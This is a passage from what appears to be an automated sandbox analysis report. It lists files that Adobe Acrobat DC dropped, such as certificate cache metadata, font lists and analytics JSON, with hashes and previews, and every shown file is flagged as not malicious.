Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.725632412434545
Encrypted:	false
SSDEEP:	3:kkFklxRA++El/tfllXlE/HT8k6jNNX8RolJuRdxLlGB9lQRYwpDdt:kKBa/eT8xRNMa8RdWBwRd
MD5:	2238ED072BFB9F1228E2BC988EFA634D
SHA1:	A8DEDC246A31342918115EB4663F58041FD2B6A5
SHA-256:	DBB73B74CCF7F79E2620D1C16E1AD1B20B4889AC832FB3D2C288EE287CE93434
SHA-512:	F29D933B31889371B14A9A1CD91607684BEC09B78A9BD33082ABC03FA28066C3EE174B219D31C61A0BBC52F7339A169AF90440C5E3D0165B25799EDF2FC8083E
Malicious:	false
Preview:	p...... .........4.".c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKq9L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:miDImsLNkPlE99SNxAhUe/3
MD5:	0C6EDB225CA126A8F732A23C192C9733
SHA1:	CDA006B866632EDA891B41C5BDB4D1E7773C9B6B
SHA-256:	563C041615BDF9C7DF586EB914F29C00A064EEBA428EA373CB8C354F4EA28FB5
SHA-512:	035BE0F7D5E8C13AB0BB91B28FBA6B74CE15DE55EA77CC123693336E228EB1B82019AA17D78541B7D830F845D05E8043D846C87FD15CCA088D5DF6EA24B72735
Malicious:	false
Preview:	p...... ........Ci,5.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3620

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3257471799192055
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJM3g98kUwPeUkwRe9:YvXKXES5YpW7unGMbLUkee9
MD5:	92ED9B5E4FB7B337918EC2DF13975143
SHA1:	F1809BDBFC7EFC97306F63FB7D900827C989604C
SHA-256:	55DACCD87F505C9500941585E0F8CB7F0443AFC5451B9290608E8E6445F4F5C0
SHA-512:	B284162BA6DB66F598491C892FBEA1702C8EA1A0B53C6F87B93FEBD32236CFF93C6B37AB926B072343A051A26D8EC3764025FDEC5B220101CEF0827C63CFA0AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.259974199112889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfBoTfXpnrPeUkwRe9:YvXKXES5YpW7unGWTfXcUkee9
MD5:	E93562E307571DDEE5925CEE02475D07
SHA1:	6D65FD29B13E6F96B31ED1A3EC36BE4016A075B0
SHA-256:	75F92E7C22B5EB3D0F0786EE7D709016EAB051019C6E9C1C1080008B1EEE93DA
SHA-512:	38A577187E566BFFD239680D6DA7F95721428228F665265E9C526215899D832AF4961751D6BB6E3BC6326568BE69647CF6088FBEBF6277ABF1BD77291F8DE4CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.240471135620906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfBD2G6UpnrPeUkwRe9:YvXKXES5YpW7unGR22cUkee9
MD5:	3BFBE9774F0B4131C6739EC58F0DBA74
SHA1:	5292F51D61E4392799DF805B69577C343406F169
SHA-256:	34DD82D6EBD9912B6BB7DB4A930838FB0F3E2BEB0FC82ED82A2C602B9177AA24
SHA-512:	2315FF957088B0E5AE9222B48C51E51589071AFFDBF65AAEC785FA533913986B700E37E7C6445590372631E74AB569293F93E476A80CE56FCCA525AAE653A4A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.303320190681984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfPmwrPeUkwRe9:YvXKXES5YpW7unGH56Ukee9
MD5:	795539181E6DD564A7CBE28935967EC4
SHA1:	26A9C9091D5CB1A5A81AB31D6943ABA66B2AECFE
SHA-256:	4AD6CA65E6F74329334100DBFB49246F3F593A69599D7D47275450A7D130FD1F
SHA-512:	BB31D09CC4DAD87A197F5D62801DF63D89F862262692D61A1FA8D363AC2F29DBE1EAD6DE1BA7CA66FC480C87DA6BF7529CE68974A30C432A064D964127680CCE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.680781950482458
Encrypted:	false
SSDEEP:	24:Yv6Xz6iuspLgE9cQx8LennAvzBvkn0RCmK8czOCCSm:Yv6Xhgy6SAFv5Ah8cv/m
MD5:	75213375FA474A5D678C1BCB95853FD0
SHA1:	3256CC6C9D6B16D5CD1E650588E767729F687FC7
SHA-256:	DBFC281AD0D95BC97B18FEB083F7DA8184F2D246A03F2D8F16FE1903DE3B39EB
SHA-512:	33D1810703D38DAAD16D4CDD26EB91D7C641D6288CC34EEC95C4587CFC7593BF24D5381C99F14E39A30086DF81280E6732E17B44443E71AF6D5875DF1D088517
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.245455147129775
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJf8dPeUkwRe9:YvXKXES5YpW7unGU8Ukee9
MD5:	B7DFCE325CB445A5B4EEF51C0A4F31EA
SHA1:	F147A222E9DD3160DA2CCC3C92935441F80F7EFE
SHA-256:	9543AA8C9798AD7745DD813A34E63979FA1154971151E926AFD50A06CA9A9CFA
SHA-512:	6C11B8228B8B570EC9E43EF69C88277E24F3049FE1E73A7D50E616E553828FB791E2DE43D51FF331C20B7D97A715668F0CEBE7DAA8543D5DBEA07EA9DB506581
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.245971651176633
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfQ1rPeUkwRe9:YvXKXES5YpW7unGY16Ukee9
MD5:	8B5A3609F0C0B0E7EC9C9148689D98AA
SHA1:	353286D69FD5F32A142B7C66F64C64F8995165E3
SHA-256:	F767DD9112EA3D0C7B5AE43C869BDED47B9CE841E259706AD2FAED145C803C68
SHA-512:	77BE61EC996D25025AEA84857420D4AD1AA650224CE67DC6A3DBD6AB7F2F474C357991785A726316E390A61F61B2EFBB6043D28BC3AB1AD5F12A877E23E314FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.26491635218908
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfFldPeUkwRe9:YvXKXES5YpW7unGz8Ukee9
MD5:	9452D426100973FB9CD5FA67F6D1929F
SHA1:	D0BA867A23DD2142E31BE3EF554E03A0F3CC4FF9
SHA-256:	F45FC7F74EB647C3F3E7337BDE1C70C462C7D0CD85F3E8D0D790939A6FD93F53
SHA-512:	2E9357609E76C0EA8B6ECB23A8C72C045135910282A76C9D8EB996F23789322E6757C632926998359E1646C66F3115B3BD1E076E68CC01EFA6883B859E8FC732
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2716896468386185
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfzdPeUkwRe9:YvXKXES5YpW7unGb8Ukee9
MD5:	CE04FDD3DBC3305DFB7E28F7B6C0338D
SHA1:	E065BCFB125664B4CACC00AAA1D4002BF7920CF0
SHA-256:	ADC0833543DAAEDFB4B7DE9B642BF64864B545C401C06BB4E173D4BE31350A38
SHA-512:	40E127F9E0C7E4D8D444094D9D8D03BD4880AC01C21532901FD0C12D00EF5E98CB3C226BEBA8377808F30882369EE263FCB3C9C6B260989267EF47EEB7A7BA82
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251343618524141
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfYdPeUkwRe9:YvXKXES5YpW7unGg8Ukee9
MD5:	56A1E5B24D245A66F49FF7CEE430B639
SHA1:	5B92CD09EF3523F75485E14477154EF1BC9D8ADB
SHA-256:	BBE4CC1F7830022CA61DC1C39E99DD0FD7F90FEEFF25D98038187CCE5044F2FC
SHA-512:	3CE0903B3D9FCC91641BD9D8BAF408130A72BDC055CECC7586EC8017E53C245CEED85B13C9056F07A8EA7F10D3F08CA9E1E88F6156A62B6689B92D2A590C0742
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.237882299526702
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJf+dPeUkwRe9:YvXKXES5YpW7unG28Ukee9
MD5:	B34120B620BC6F22ECA9548AB70483E2
SHA1:	8BAB132D47683FD927D7F177A4940A022B2ECA8B
SHA-256:	9F3465CBAB77834657E4FDA4346BBAB0465BC24514B2FD87684DE8A4A8039070
SHA-512:	8B00B277EE8F3027634CDEF1129F58950318E54CB6C6FCB188E377B506035E9C3678981898B42A4A4C910063981F599489E0EDF14911B6A6CFEC7A58BE79D5E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.235225124318113
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJfbPtdPeUkwRe9:YvXKXES5YpW7unGDV8Ukee9
MD5:	39EB7D134BC134A33FE7DA9F0FFBDF06
SHA1:	0285E0CDFADBDE577D443D1BB6C233DE9F18AFF0
SHA-256:	DF314BCE4741571C9553E5C74D39DB4B6BCAF13EA90552A09996A84B51AB2EDF
SHA-512:	CC9E8223C944F9E63AD3FF727537C25FC0092370A6E40D0FFF34AF3FD2478A1DB80F7783CBEACA3E64569D2FB2225AD77D8B2ED817205105E434AC3182C86DC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"eaf2183b-e4e5-4ead-9529-d935e4e5bf41","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736709334073,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.236224866620902
Encrypted:	false
SSDEEP:	6:YEQXJ2HXESMWY+FIbRI6XVW7+0Y7bUoAvJf21rPeUkwRe9:YvXKXES5YpW7unG+16Ukee9
MD5:	2D528A982D2FE73A1B93C4E135D76F5A
SHA1:	915C22134997CD1219E787CA84A41DD4DF2CAF72
